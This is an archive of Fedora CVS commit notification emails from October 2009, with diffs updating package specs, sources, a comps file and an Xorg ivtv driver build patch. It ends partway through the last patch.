 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From notting at fedoraproject.org  Tue Oct 20 20:05:17 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Tue, 20 Oct 2009 20:05:17 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.164,1.165 comps-f13.xml.in,1.52,1.53
Message-ID: <20091020200517.8F82311C0081@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1047

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
remove lam (#523998)


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.164
retrieving revision 1.165
diff -u -p -r1.164 -r1.165
--- comps-f12.xml.in	20 Oct 2009 17:11:43 -0000	1.164
+++ comps-f12.xml.in	20 Oct 2009 20:05:16 -0000	1.165
@@ -1544,7 +1544,6 @@
       <packagereq type="optional">kpolynome</packagereq>
       <packagereq type="optional">kst</packagereq>
       <packagereq type="optional">lagan</packagereq>
-      <packagereq type="optional">lam</packagereq>
       <packagereq type="optional">lapack</packagereq>
       <packagereq type="optional">libctl</packagereq>
       <packagereq type="optional">libmatheval</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- comps-f13.xml.in	20 Oct 2009 17:11:43 -0000	1.52
+++ comps-f13.xml.in	20 Oct 2009 20:05:16 -0000	1.53
@@ -1537,7 +1537,6 @@
       <packagereq type="optional">kpolynome</packagereq>
       <packagereq type="optional">kst</packagereq>
       <packagereq type="optional">lagan</packagereq>
-      <packagereq type="optional">lam</packagereq>
       <packagereq type="optional">lapack</packagereq>
       <packagereq type="optional">libctl</packagereq>
       <packagereq type="optional">libmatheval</packagereq>



From kwizart at fedoraproject.org  Tue Oct 20 20:09:47 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 20:09:47 +0000 (UTC)
Subject: rpms/python-kaa-imlib2/devel python-kaa-imlib2.spec,1.13,1.14
Message-ID: <20091020200947.4575011C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/python-kaa-imlib2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2655/devel

Modified Files:
	python-kaa-imlib2.spec 
Log Message:
- Add missing BR



Index: python-kaa-imlib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-kaa-imlib2/devel/python-kaa-imlib2.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- python-kaa-imlib2.spec	20 Oct 2009 19:41:23 -0000	1.13
+++ python-kaa-imlib2.spec	20 Oct 2009 20:09:46 -0000	1.14
@@ -2,7 +2,7 @@
 
 Name:           python-kaa-imlib2
 Version:        0.2.3
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        The Kaa Media - imlib2 binding for python
 
 Group:          Development/Languages
@@ -16,6 +16,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  python-devel
 BuildRequires:  python-kaa-base >= 0.4.0
 BuildRequires:  imlib2-devel >= 1.2.1
+BuildRequires:  libpng-devel
 Requires:  python-kaa-base >= 0.4.0
 
 
@@ -74,8 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 0.2.3-7
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 0.2.3-8
 - Rebuild for F-12
+- Add missing BR
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From kwizart at fedoraproject.org  Tue Oct 20 20:09:47 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 20:09:47 +0000 (UTC)
Subject: rpms/python-kaa-imlib2/F-12 python-kaa-imlib2.spec,1.13,1.14
Message-ID: <20091020200947.83D2711C00EB@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/python-kaa-imlib2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2655/F-12

Modified Files:
	python-kaa-imlib2.spec 
Log Message:
- Add missing BR



Index: python-kaa-imlib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-kaa-imlib2/F-12/python-kaa-imlib2.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- python-kaa-imlib2.spec	20 Oct 2009 19:43:18 -0000	1.13
+++ python-kaa-imlib2.spec	20 Oct 2009 20:09:46 -0000	1.14
@@ -2,7 +2,7 @@
 
 Name:           python-kaa-imlib2
 Version:        0.2.3
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        The Kaa Media - imlib2 binding for python
 
 Group:          Development/Languages
@@ -16,6 +16,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  python-devel
 BuildRequires:  python-kaa-base >= 0.4.0
 BuildRequires:  imlib2-devel >= 1.2.1
+BuildRequires:  libpng-devel
 Requires:  python-kaa-base >= 0.4.0
 
 
@@ -74,8 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 0.2.3-7
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 0.2.3-8
 - Rebuild for F-12
+- Add missing BR
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From jjohnstn at fedoraproject.org  Tue Oct 20 20:29:26 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Tue, 20 Oct 2009 20:29:26 +0000 (UTC)
Subject: rpms/eclipse-rse/devel .cvsignore, 1.3, 1.4 eclipse-rse.spec, 1.6, 
	1.7 fetch-rse.sh, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091020202926.77F1F11C0081@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-rse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7555

Modified Files:
	.cvsignore eclipse-rse.spec fetch-rse.sh sources 
Log Message:

* Tue Oct 20 2009 Jeff Johnston <jjohnstn at redhat.com> 3.1.1-1
- Move to 3.1.1 tarball.




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eclipse-rse/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	17 Aug 2009 20:10:19 -0000	1.3
+++ .cvsignore	20 Oct 2009 20:29:26 -0000	1.4
@@ -1,2 +1,3 @@
 rse-fetched-src-R3_0_3.tar.gz
 rse-fetched-src-R3_1.tar.gz
+rse-fetched-src-R3_1_1.tar.gz


Index: eclipse-rse.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-rse/devel/eclipse-rse.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- eclipse-rse.spec	21 Aug 2009 20:36:41 -0000	1.6
+++ eclipse-rse.spec	20 Oct 2009 20:29:26 -0000	1.7
@@ -3,13 +3,13 @@
 
 Name: eclipse-rse
 Summary: Eclipse Remote System Explorer
-Version: 3.1
-Release: 2%{?dist} 
+Version: 3.1.1
+Release: 1%{?dist} 
 License: EPL
 URL: http://www.eclipse.org/dsdp/tm/
 
 # Following tarball generated by running fetch-rse.sh.
-Source0: rse-fetched-src-R3_1.tar.gz
+Source0: rse-fetched-src-R3_1_1.tar.gz
 Source1: fetch-rse.sh
 # Following property files are generated by fetch-rse.sh.
 Source2: featureVersions.properties
@@ -88,6 +88,9 @@ rm -rf %{buildroot}
 %doc org.eclipse.rse.sdk-feature/license.html
 
 %changelog
+* Tue Oct 20 2009 Jeff Johnston <jjohnstn at redhat.com> 3.1.1-1
+- Move to 3.1.1 tarball.
+
 * Fri Aug 21 2009 Jeff Johnston <jjohnstn at redhat.com> 3.1-2
 - Add BuildArch noarch.
 


Index: fetch-rse.sh
===================================================================
RCS file: /cvs/extras/rpms/eclipse-rse/devel/fetch-rse.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- fetch-rse.sh	28 Jul 2009 18:25:33 -0000	1.2
+++ fetch-rse.sh	20 Oct 2009 20:29:26 -0000	1.3
@@ -1,8 +1,8 @@
 #!/bin/sh
 
 NAME=rse
-TM_TAG=R3_1
-RSE_TAG=R3_1
+TM_TAG=R3_1_1
+RSE_TAG=R3_1_1
 
 rm -rf temp
 mkdir temp
@@ -11,8 +11,8 @@ flat=rse-${RSE_TAG}
 mkdir ${flat}
 
 
-VERSION="3.1"
-TAG="200906171400"
+VERSION="3.1.1"
+TAG="200909160905"
 
 echo "Exporting from CVS..."
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eclipse-rse/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	17 Aug 2009 20:10:20 -0000	1.3
+++ sources	20 Oct 2009 20:29:26 -0000	1.4
@@ -1 +1,2 @@
 4fa7edbd093a1ca5dccc794df59a5a7e  rse-fetched-src-R3_1.tar.gz
+adb010ea024e0245ab47e4274cebb3c6  rse-fetched-src-R3_1_1.tar.gz



From wwoods at fedoraproject.org  Tue Oct 20 20:48:40 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Tue, 20 Oct 2009 20:48:40 +0000 (UTC)
Subject: rpms/preupgrade/F-10 .cvsignore, 1.9, 1.10 preupgrade.spec, 1.16,
	1.17 sources, 1.13, 1.14
Message-ID: <20091020204840.D7C6111C0081@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11970

Modified Files:
	.cvsignore preupgrade.spec sources 
Log Message:
1.1.2 with f10-specific spec (no gtk change)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-10/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	13 May 2009 22:32:59 -0000	1.9
+++ .cvsignore	20 Oct 2009 20:48:40 -0000	1.10
@@ -1 +1 @@
-preupgrade-1.1.0.tar.bz2
+preupgrade-1.1.2.tar.bz2


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-10/preupgrade.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- preupgrade.spec	9 Oct 2009 21:10:08 -0000	1.16
+++ preupgrade.spec	20 Oct 2009 20:48:40 -0000	1.17
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Summary: Prepares a system for an upgrade
 Name: preupgrade
-Version: 1.1.1
-Release: 1%{?dist}
+Version: 1.1.2
+Release: 1.fc10
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
@@ -18,9 +18,8 @@ Requires: pygtk2-libglade
 Requires: anaconda-yum-plugins
 # F10 anaconda expects to be handed a valid yum repo
 Requires: createrepo
-# yum 3.2.18 is needed to enable the above plugins at runtime
-# yum 3.2.19 is needed for setup_locale(), which fixes some i18n tracebacks
-Requires: yum-metadata-parser, yum >= 3.2.19
+# yum 3.2.24 fixes some unicode reading issues - see bug 527552
+Requires: yum-metadata-parser, yum >= 3.2.24
 Requires: usermode
 # blkid moved from e2fsprogs to util-linux-ng in 2.15.1
 %if 0%{?fedora} >= 12
@@ -31,15 +30,7 @@ Requires: e2fsprogs
 BuildRequires: desktop-file-utils, python
 # preupgrade's use of long append="..." strings will break older yaboot
 # and thus render ppc systems unbootable - see bug #471321
-%if 0%{?fedora} == 8
-Conflicts: yaboot < 1.3.13-9
-%endif
-%if 0%{?fedora} == 9
-Conflicts: yaboot < 1.3.13-13
-%endif
-%if 0%{?fedora} >= 10
 Conflicts: yaboot < 1.3.14-8
-%endif
 
 %description
 preupgrade prepares your Fedora system for an upgrade to the next version
@@ -80,6 +71,12 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
+* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.2-1.fc10
+- Proper fix for bug 526208
+
+* Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org> - 1.1.1-2
+- require yum 3.2.24
+
 * Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1
 - Fix UI hang on upgrades from F11 (bug 526208)
 - Fix unhandled traceback in preupgrade.dev (bug 504826)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-10/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	9 Oct 2009 21:10:08 -0000	1.13
+++ sources	20 Oct 2009 20:48:40 -0000	1.14
@@ -1 +1 @@
-f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2
+f5fc1b7b6c8ef78360adc250e6204471  preupgrade-1.1.2.tar.bz2



From mtruch at fedoraproject.org  Tue Oct 20 21:19:50 2009
From: mtruch at fedoraproject.org (Matthew D Truch)
Date: Tue, 20 Oct 2009 21:19:50 +0000 (UTC)
Subject: rpms/cfitsio/devel .cvsignore, 1.11, 1.12 cfitsio.spec, 1.35,
	1.36 sources, 1.11, 1.12
Message-ID: <20091020211950.E9A0411C0081@cvs1.fedora.phx.redhat.com>

Author: mtruch

Update of /cvs/extras/rpms/cfitsio/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20795

Modified Files:
	.cvsignore cfitsio.spec sources 
Log Message:
Update to upstream release (new features, thread safe library, bugfixes).



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/cfitsio/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	24 Jul 2009 16:38:53 -0000	1.11
+++ .cvsignore	20 Oct 2009 21:19:49 -0000	1.12
@@ -1 +1 @@
-cfitsio3140.tar.gz
+cfitsio3210.tar.gz


Index: cfitsio.spec
===================================================================
RCS file: /cvs/extras/rpms/cfitsio/devel/cfitsio.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- cfitsio.spec	24 Jul 2009 16:41:46 -0000	1.35
+++ cfitsio.spec	20 Oct 2009 21:19:49 -0000	1.36
@@ -1,13 +1,12 @@
 Name:           cfitsio
-Version:        3.140
-Release:        2%{?dist}
+Version:        3.210
+Release:        1%{?dist}
 Summary:        Library for manipulating FITS data files
 
 Group:          Development/Libraries
 License:        GPLv2+
 URL:            http://heasarc.gsfc.nasa.gov/docs/software/fitsio/fitsio.html
-Source0:        ftp://heasarc.gsfc.nasa.gov/software/fitsio/c/cfitsio3140.tar.gz
-Patch:          cfitsio.patch
+Source0:        ftp://heasarc.gsfc.nasa.gov/software/fitsio/c/cfitsio3210.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:     gcc-gfortran
@@ -50,7 +49,6 @@ Stand-alone documentation for cfitsio.
 
 %prep
 %setup -q -n cfitsio
-%patch -p1
 
 %build
 FC=f95
@@ -63,9 +61,6 @@ unset FC
 sed 's|${exec_prefix}/lib|${exec_prefix}/%{_lib}|' cfitsio.pc >cfitsio.pc.new
 sed 's|${prefix}/include|${prefix}/include/%{name}|' cfitsio.pc.new >cfitsio.pc
 rm -f cfitsio.pc.new
-# Manually correct pkgconfig .pc file version
-sed 's|3.006|%{version}|' cfitsio.pc >cfitsio.pc.new
-mv cfitsio.pc.new cfitsio.pc
 
 %check
 make testprog
@@ -81,6 +76,7 @@ mkdir -p %{buildroot}%{_includedir}/%{na
 make LIBDIR=%{_lib} INCLUDEDIR=include/%{name} CFITSIO_LIB=%{buildroot}%{_libdir} \
      CFITSIO_INCLUDE=%{buildroot}%{_includedir}/%{name} install
 pushd %{buildroot}%{_libdir}
+mv libcfitsio.so libcfitsio.so.0
 ln -s libcfitsio.so.0 libcfitsio.so
 popd
 
@@ -111,6 +107,9 @@ rm -rf %{buildroot}
 %doc fitsio.doc fitsio.ps cfitsio.doc cfitsio.ps
 
 %changelog
+* Tue Oct 20 2009 Matthew Truch <matt at truch.net> - 3.210-1
+- Update to upstream 3.210 release.
+
 * Fri Jul 24 2009 Matthew Truch <matt at truch.net> - 3.140-2
 - Bump to include proper tarball.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/cfitsio/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	24 Jul 2009 16:38:53 -0000	1.11
+++ sources	20 Oct 2009 21:19:49 -0000	1.12
@@ -1 +1 @@
-7467fdacb807ebeef7fe088f2b69d9ee  cfitsio3140.tar.gz
+30f7e968983f6f46162f12368b68c42a  cfitsio3210.tar.gz



From kwizart at fedoraproject.org  Tue Oct 20 21:34:45 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 21:34:45 +0000 (UTC)
Subject: rpms/xorg-x11-drv-ivtv/devel import.log, NONE,
	1.1 xf86-video-ivtv-1.1.0-Xextproto71.patch, NONE,
	1.1 xorg-x11-drv-ivtv.spec, 1.10, 1.11
Message-ID: <20091020213445.A95D211C00EB@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/xorg-x11-drv-ivtv/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24910/devel

Modified Files:
	xorg-x11-drv-ivtv.spec 
Added Files:
	import.log xf86-video-ivtv-1.1.0-Xextproto71.patch 
Log Message:
REbuild for F-12 and new Xorg



--- NEW FILE import.log ---
xorg-x11-drv-ivtv-1_1_0-3_fc11:HEAD:xorg-x11-drv-ivtv-1.1.0-3.fc11.src.rpm:1256074297

xf86-video-ivtv-1.1.0-Xextproto71.patch:
 configure.ac    |    5 +++++
 src/Makefile.am |    2 +-
 src/ivtv.c      |   10 ++++++++++
 src/ivtv_hw.c   |    4 ++++
 4 files changed, 20 insertions(+), 1 deletion(-)

--- NEW FILE xf86-video-ivtv-1.1.0-Xextproto71.patch ---
diff -up xf86-video-ivtv-1.1.0/configure.ac.Xextproto71 xf86-video-ivtv-1.1.0/configure.ac
--- xf86-video-ivtv-1.1.0/configure.ac.Xextproto71	2009-10-20 22:25:07.742871233 +0200
+++ xf86-video-ivtv-1.1.0/configure.ac	2009-10-20 22:27:34.791874162 +0200
@@ -54,6 +54,11 @@ PKG_CHECK_EXISTS([xorg-server >= 1.0.99.
 PKG_CHECK_MODULES(XORG, [xorg-server xproto fontsproto $REQUIRED_MODULES])
 sdkdir=$(pkg-config --variable=sdkdir xorg-server)
 
+PKG_CHECK_MODULES(XEXT, [xextproto >= 7.0.99.1],
+ HAVE_XEXTPROTO_71="yes"; AC_DEFINE(HAVE_XEXTPROTO_71, 1, [xextproto 7.1 available]),
+ HAVE_XEXTPROTO_71="no")
+AM_CONDITIONAL(HAVE_XEXTPROTO_71, [ test "$HAVE_XEXTPROTO_71" = "yes" ])
+
 # Checks for extensions
 XORG_DRIVER_CHECK_EXT(RANDR, randrproto)
 XORG_DRIVER_CHECK_EXT(RENDER, renderproto)
diff -up xf86-video-ivtv-1.1.0/src/ivtv.c.Xextproto71 xf86-video-ivtv-1.1.0/src/ivtv.c
--- xf86-video-ivtv-1.1.0/src/ivtv.c.Xextproto71	2009-10-20 22:54:20.940868205 +0200
+++ xf86-video-ivtv-1.1.0/src/ivtv.c	2009-10-20 23:28:20.961620109 +0200
@@ -51,8 +51,10 @@ in this Software without prior written a
 /* for visuals */
 #include "fb.h"
 
+#ifndef XSERVER_LIBPCIACCESS
 #include "xf86Resources.h"
 #include "xf86RAC.h"
+#endif
 
 #ifdef XvExtension
 # include "xf86xv.h"
@@ -403,6 +405,7 @@ IVTVDevPreInit(ScrnInfoPtr pScrn, int fl
 
     devPtr->pEnt = xf86GetEntityInfo(pScrn->entityList[0]);
 
+#ifndef XSERVER_LIBPCIACCESS
     pScrn->racMemFlags = RAC_FB | RAC_COLORMAP | RAC_CURSOR | RAC_VIEWPORT;
     /* XXX Is this right?  Can probably remove RAC_FB */
     pScrn->racIoFlags = RAC_FB | RAC_COLORMAP | RAC_CURSOR | RAC_VIEWPORT;
@@ -413,6 +416,13 @@ IVTVDevPreInit(ScrnInfoPtr pScrn, int fl
 	    "DevPreInit: xf86RegisterResources() found resource conflicts\n");
 	return FALSE;
     }
+#else
+    if (devPtr->pEnt->location.type == BUS_PCI ) {
+	xf86DrvMsg(pScrn->scrnIndex, X_ERROR,
+	    "DevPreInit: xf86RegisterResources() found resource conflicts\n");
+	return FALSE;
+    }
+#endif
 
     /* open device */
     if (!ivtvHWInit(pScrn, NULL,
diff -up xf86-video-ivtv-1.1.0/src/ivtv_hw.c.Xextproto71 xf86-video-ivtv-1.1.0/src/ivtv_hw.c
--- xf86-video-ivtv-1.1.0/src/ivtv_hw.c.Xextproto71	2009-10-20 22:29:13.508623060 +0200
+++ xf86-video-ivtv-1.1.0/src/ivtv_hw.c	2009-10-20 22:52:44.711622244 +0200
@@ -55,8 +55,12 @@ in this Software without prior written a
 #include "xf86cmap.h"
 
 #include "globals.h"
+#ifdef HAVE_XEXTPROTO_71
+#include <X11/extensions/dpmsconst.h>
+#else
 #define DPMS_SERVER
 #include <X11/extensions/dpms.h>
+#endif
 
 #if IVTVDEBUG
 # define TRACE_ENTER(str)	ErrorF("ivtv_hw: " str " %d\n",pScrn->scrnIndex)
diff -up xf86-video-ivtv-1.1.0/src/ivtv_hw.h.Xextproto71 xf86-video-ivtv-1.1.0/src/ivtv_hw.h
diff -up xf86-video-ivtv-1.1.0/src/Makefile.am.Xextproto71 xf86-video-ivtv-1.1.0/src/Makefile.am
--- xf86-video-ivtv-1.1.0/src/Makefile.am.Xextproto71	2009-10-20 22:28:39.726904017 +0200
+++ xf86-video-ivtv-1.1.0/src/Makefile.am	2009-10-20 22:31:06.987875245 +0200
@@ -23,7 +23,7 @@
 # -avoid-version prevents gratuitous .0.0.0 version numbers on the end
 # _ladir passes a dummy rpath to libtool so the thing will actually link
 # TODO: -nostdlib/-Bstatic/-lgcc platform magic, not installing the .a, etc.
-AM_CFLAGS = @XORG_CFLAGS@
+AM_CFLAGS = @XORG_CFLAGS@ @XEXT_CFLAGS@
 ivtv_drv_la_LTLIBRARIES = ivtv_drv.la
 ivtv_drv_la_LDFLAGS = -module -avoid-version
 ivtv_drv_ladir = @moduledir@/drivers


Index: xorg-x11-drv-ivtv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ivtv/devel/xorg-x11-drv-ivtv.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- xorg-x11-drv-ivtv.spec	27 Jul 2009 08:27:10 -0000	1.10
+++ xorg-x11-drv-ivtv.spec	20 Oct 2009 21:34:43 -0000	1.11
@@ -1,16 +1,18 @@
 Name:           xorg-x11-drv-ivtv
 Version:        1.1.0
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Xorg X11 ivtv video driver
 
 Group:          User Interface/X Hardware Support
 License:        MIT
 URL:            http://ivtvdriver.org
 Source0:        http://dl.ivtvdriver.org/xf86-video-ivtv/archive/1.1.x/xf86-video-ivtv-%{version}.tar.gz
+Patch0:         xf86-video-ivtv-1.1.0-Xextproto71.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: xorg-x11-server-sdk >= 1.3.0.0-6
-#BuildRequires: libtool
+BuildRequires: xorg-x11-proto-devel
+BuildRequires: libtool
 Requires:  xorg-x11-server-Xorg >= 1.3.0.0-6
 Requires:  ivtv-firmware
 Obsoletes: ivtv_xdriver < %{version}
@@ -20,7 +22,8 @@ X.Org X11 ivtv video driver.
 
 %prep
 %setup -q -n xf86-video-ivtv-%{version}
-#sh autogen.sh
+%patch0 -p1 -b .Xextproto71
+autoreconf -vif
 
 %build
 %configure
@@ -44,6 +47,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.1.0-3
+- Rebuild for F-12
+- Add xf86-video-ivtv-1.1.0-Xextproto71.patch to fix new Xorg
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kwizart at fedoraproject.org  Tue Oct 20 21:36:49 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 21:36:49 +0000 (UTC)
Subject: rpms/xorg-x11-drv-ivtv/F-12 import.log, NONE,
	1.1 xf86-video-ivtv-1.1.0-Xextproto71.patch, NONE,
	1.1 xorg-x11-drv-ivtv.spec, 1.10, 1.11
Message-ID: <20091020213649.652EA11C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/xorg-x11-drv-ivtv/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26045/F-12

Modified Files:
	xorg-x11-drv-ivtv.spec 
Added Files:
	import.log xf86-video-ivtv-1.1.0-Xextproto71.patch 
Log Message:
REbuild for F-12 and new Xorg



--- NEW FILE import.log ---
xorg-x11-drv-ivtv-1_1_0-3_fc11:F-12:xorg-x11-drv-ivtv-1.1.0-3.fc11.src.rpm:1256074502

xf86-video-ivtv-1.1.0-Xextproto71.patch:
 configure.ac    |    5 +++++
 src/Makefile.am |    2 +-
 src/ivtv.c      |   10 ++++++++++
 src/ivtv_hw.c   |    4 ++++
 4 files changed, 20 insertions(+), 1 deletion(-)

--- NEW FILE xf86-video-ivtv-1.1.0-Xextproto71.patch ---
diff -up xf86-video-ivtv-1.1.0/configure.ac.Xextproto71 xf86-video-ivtv-1.1.0/configure.ac
--- xf86-video-ivtv-1.1.0/configure.ac.Xextproto71	2009-10-20 22:25:07.742871233 +0200
+++ xf86-video-ivtv-1.1.0/configure.ac	2009-10-20 22:27:34.791874162 +0200
@@ -54,6 +54,11 @@ PKG_CHECK_EXISTS([xorg-server >= 1.0.99.
 PKG_CHECK_MODULES(XORG, [xorg-server xproto fontsproto $REQUIRED_MODULES])
 sdkdir=$(pkg-config --variable=sdkdir xorg-server)
 
+PKG_CHECK_MODULES(XEXT, [xextproto >= 7.0.99.1],
+ HAVE_XEXTPROTO_71="yes"; AC_DEFINE(HAVE_XEXTPROTO_71, 1, [xextproto 7.1 available]),
+ HAVE_XEXTPROTO_71="no")
+AM_CONDITIONAL(HAVE_XEXTPROTO_71, [ test "$HAVE_XEXTPROTO_71" = "yes" ])
+
 # Checks for extensions
 XORG_DRIVER_CHECK_EXT(RANDR, randrproto)
 XORG_DRIVER_CHECK_EXT(RENDER, renderproto)
diff -up xf86-video-ivtv-1.1.0/src/ivtv.c.Xextproto71 xf86-video-ivtv-1.1.0/src/ivtv.c
--- xf86-video-ivtv-1.1.0/src/ivtv.c.Xextproto71	2009-10-20 22:54:20.940868205 +0200
+++ xf86-video-ivtv-1.1.0/src/ivtv.c	2009-10-20 23:28:20.961620109 +0200
@@ -51,8 +51,10 @@ in this Software without prior written a
 /* for visuals */
 #include "fb.h"
 
+#ifndef XSERVER_LIBPCIACCESS
 #include "xf86Resources.h"
 #include "xf86RAC.h"
+#endif
 
 #ifdef XvExtension
 # include "xf86xv.h"
@@ -403,6 +405,7 @@ IVTVDevPreInit(ScrnInfoPtr pScrn, int fl
 
     devPtr->pEnt = xf86GetEntityInfo(pScrn->entityList[0]);
 
+#ifndef XSERVER_LIBPCIACCESS
     pScrn->racMemFlags = RAC_FB | RAC_COLORMAP | RAC_CURSOR | RAC_VIEWPORT;
     /* XXX Is this right?  Can probably remove RAC_FB */
     pScrn->racIoFlags = RAC_FB | RAC_COLORMAP | RAC_CURSOR | RAC_VIEWPORT;
@@ -413,6 +416,13 @@ IVTVDevPreInit(ScrnInfoPtr pScrn, int fl
 	    "DevPreInit: xf86RegisterResources() found resource conflicts\n");
 	return FALSE;
     }
+#else
+    if (devPtr->pEnt->location.type == BUS_PCI ) {
+	xf86DrvMsg(pScrn->scrnIndex, X_ERROR,
+	    "DevPreInit: xf86RegisterResources() found resource conflicts\n");
+	return FALSE;
+    }
+#endif
 
     /* open device */
     if (!ivtvHWInit(pScrn, NULL,
diff -up xf86-video-ivtv-1.1.0/src/ivtv_hw.c.Xextproto71 xf86-video-ivtv-1.1.0/src/ivtv_hw.c
--- xf86-video-ivtv-1.1.0/src/ivtv_hw.c.Xextproto71	2009-10-20 22:29:13.508623060 +0200
+++ xf86-video-ivtv-1.1.0/src/ivtv_hw.c	2009-10-20 22:52:44.711622244 +0200
@@ -55,8 +55,12 @@ in this Software without prior written a
 #include "xf86cmap.h"
 
 #include "globals.h"
+#ifdef HAVE_XEXTPROTO_71
+#include <X11/extensions/dpmsconst.h>
+#else
 #define DPMS_SERVER
 #include <X11/extensions/dpms.h>
+#endif
 
 #if IVTVDEBUG
